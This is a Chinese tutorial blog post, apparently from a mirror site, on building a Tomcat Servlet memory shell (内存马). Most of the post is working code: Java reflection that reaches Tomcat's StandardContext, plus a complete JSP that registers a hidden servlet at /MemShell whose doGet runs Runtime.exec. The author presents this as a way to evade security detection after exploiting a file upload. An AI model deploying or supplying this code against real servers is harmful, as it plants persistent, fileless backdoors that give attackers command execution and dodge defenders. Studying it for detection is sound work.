当前位置: 首页 > news >正文

WEB安全--Java安全--Servlet内存马

一、知识补充

1.1、Servlet

Servlet 是sun公司开发动态web的一门技术

Servlet 在个人理解中就是一个接口,我们需要利用Servlet这个技术就得实现该接口,具体:

        编写一个类,实现Servlet接口

        把这个写好的类部署到web服务器(Tomcat)中,运行

1.2、Tomcat

Tomcat 是一个开源的 Java Web 应用服务器,类比 IIs、Nginx...

它主要用于运行由 Java 编写的 Servlet 和 JavaServer Pages (JSP) 应用程序

Tomcat可以容纳运行多个servlet

1.3、示例

编写一个HelloWorld类,实现Servlet接口

在web.xml文件中把我们的HelloWorld类动态注册进Tomcat中

启动Tomcat,访问我们注册时所定义的路径:/hello-servlet

二、Servlet内存马原理

2.1、思考

假如我们发现一个Tomcat的系统存在文件上传,并且能解析我们的jsp文件,为了防止安全设备的检测,注入内存马是一个很有效的手段。

那该怎么做呢?

Servlet内存马,顾名思义肯定是把我们的webshell写成一个恶意类继承Servlet接口,然后把这个恶意servlet动态注册到Tomcat服务器中。

将恶意类封装成jsp文件是很容易实现的,但是如何注册呢?

按上面的方式肯定是不现实的,我们不能直接编辑服务器的xml文件;但是有另一种方式注册我们的恶意servlet,我们可以参考Tomcat通过xml文件注册的流程,编写代码仿照它的形式实现注入servlet内存马

2.2、注册流程分析

Tomcat通过xml文件注册servlet对象

图一

Tomcat对servlet的封装处理

图二

由图一知道最初会进入ContextConfigure类中的configureContext()方法

configureContext(WebXml webxml)先接收注册传递的xml配置信息,封装成StandardContext,对应着下图的 this.context

xml配置信息:

为了使configureContext(WebXml webxml)也能接收到我们恶意类的信息,可以利用request对象,先获取一个ServletContext对象其中声明了applicationContext,然后再反射获取applicationContext中的StandardContext

//动态注册恶意servlet//获取applicationContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//获取standardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext)standardContextField.get(applicationContext);

接着在拿到StandardContext后,会对其进行一系列的操作;

首先是封装成一个wrapper(参考图二),并且对其进行操作

Wrapper wrapper = context.createWrapper();
wrapper.setName("MemServlet");
wrapper.setServletClass(MemServlet.class.getName());

此时我们将恶意类实例化

wrapper.setServlet(new MemServlet());

然后是将其放入Context中,并且定义访问的路由

context.addChild(wrapper);
context.addServletMappingDecoded("/MemShell","MemServlet");

这样就实现了一个普通的servlet的模拟注册

//获取applicationContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//获取standardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);
//仿造处理standardContext对象
Wrapper wrapper = context.createWrapper();
wrapper.setName("MemServlet");
wrapper.setServletClass(MemServlet.class.getName());
//实例化恶意类
wrapper.setServlet(new MemServlet());
//添加到Context中
context.addChild(wrapper);
//仿造处理mapping路由
context.addServletMappingDecoded("/MemShell","MemServlet");

三、servlet内存马实现

3.1、构造恶意的jsp文件

将恶意类和模仿的注册流程封装成jsp文件

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.Writer" %>
<%@ page import="org.apache.catalina.Wrapper" %><%--Created by IntelliJ IDEA.User: 86183Date: 2025/8/15Time: 11:22To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head><title>Title</title>
</head>
<body>
<%!public class MemServlet extends HttpServlet {private String message;public void init() {message = "Hello World!";}public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {Runtime.getRuntime().exec("calc");}public void destroy() {}}
%><%ServletContext servletContext = request.getServletContext();Field applicationContextField = servletContext.getClass().getDeclaredField("context");applicationContextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext context = (StandardContext) standardContextField.get(applicationContext);Wrapper wrapper = context.createWrapper();wrapper.setName("MemServlet");wrapper.setServletClass(MemServlet.class.getName());wrapper.setServlet(new MemServlet());context.addChild(wrapper);context.addServletMappingDecoded("/MemShell","MemServlet");
%>
</body>
</html>

3.2、动态加载内存马

运行Tomcat

由于Tomcat的惰性加载机制,我们上传的servlet不会被立刻加载到内存中;需要我们先访问恶意的jsp文件,他才会加载恶意servlet

此时再访问恶意servlet路径

http://www.lryc.cn/news/622015.html

相关文章:

  • 第十四节:物理引擎集成:Cannon.js入门
  • Linux之高可用集群实战(二)
  • 机器学习 - Kaggle项目实践(4)Toxic Comment Classification Challenge 垃圾评论分类问题
  • 嵌入式第二十九课!!!回收子进程资源空间函数与exec函数
  • 大模型——如何让 AI 绘图的中文呈现更稳定和准确
  • Spring 条件注解与 SPI 机制(深度解析)
  • LeetCode 面试经典 150_数组/字符串_最长公共前缀(20_14_C++_简单)(暴力破解)(求交集)
  • Docker 实战:情感分析系统-容器化部署全流程(sa-logic、sa-webapp、sa-frontend )
  • Highcharts Dashboards | 打造企业级数据仪表板:从图表到数据驾驶舱
  • CUDA 编程笔记:GPU 硬件资源
  • 敏捷数据开发实践:基于 Amazon Q Developer + Remote MCP 构建本地与云端 Amazon Redshift 交互体系
  • mysql-条件查询案例
  • C++从入门到实战(十九)C++ vector容器及其常用接口
  • dockerfile自定义镜像,乌班图版
  • 【开源大模型和闭源大模型分别有哪些?两者的对比?部署私有化模型的必要性有哪些?】
  • 解决zabbix图片中文乱码
  • Spring Boot 拦截器详解
  • HarmonyOS Camera Kit 全解析:从基础拍摄到跨设备协同的实战指南
  • 开源 Arkts 鸿蒙应用 开发(十六)自定义绘图控件--波形图
  • 成品电池综合测试仪:一站式评估性能与安全
  • Flutter 以模块化方案 适配 HarmonyOS 的实现方法
  • 嵌入式学习日记(29)进程、线程
  • 一分钟了解EtherCAT 分支器
  • Web攻防-大模型应用LLM搭建接入第三方内容喂养AI插件安全WiKI库技术赋能
  • Linux操作系统从入门到实战(二十三)详细讲解进程虚拟地址空间
  • 【数据可视化-90】2023 年城镇居民人均收入可视化分析:Python + pyecharts打造炫酷暗黑主题大屏
  • Redis 知识点与应用场景
  • Web 开发 15
  • webrtc编译arm/arm64
  • C# 中的 string / StringBuilder / 值类型 / 引用类型 / CLR 总结